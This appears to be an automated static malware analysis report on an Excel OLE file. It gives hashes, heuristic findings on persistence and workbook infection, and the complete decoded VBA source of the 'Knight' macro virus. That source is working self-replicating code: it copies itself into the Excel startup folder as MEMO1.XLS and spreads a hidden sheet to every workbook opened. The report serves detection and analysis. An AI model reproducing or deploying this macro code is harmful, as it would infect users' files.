Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7615dcd224c5d9b6…

MALICIOUS

Office (OLE)

69.5 KB First seen: 2015-10-13
MD5: e8260c5671d0c4ea22d61f76425b57b0 SHA-1: 5b7e5d90dd053ccbeb3484d36223b457e37adf50 SHA-256: 7615dcd224c5d9b6ee7d6a7f2c0e17bef692a1aa3fdec2076852cab15bfae5f8
108 Risk Score

Heuristics 4

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
        ChDir Application.StartupPath
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = "check_files"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1888 bytes
SHA-256: 20dd0b8c731d89eddfd977fc203e0df6b707e0d2a9a6f2af9d99045dac9fd646
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Knight"




Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "MEMO1.XLS")
    If m$ = "MEMO1.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("Knight").Visible = True
    Sheets("Knight").Select
    Sheets("Knight").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "MEMO1.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("Knight").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "MEMO1.xls!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "Knight" Then
        Workbooks("MEMO1.XLS").Sheets("Knight").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("Knight").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "MEMO1.xls!check_files"
    Case Else
End Select
End Sub

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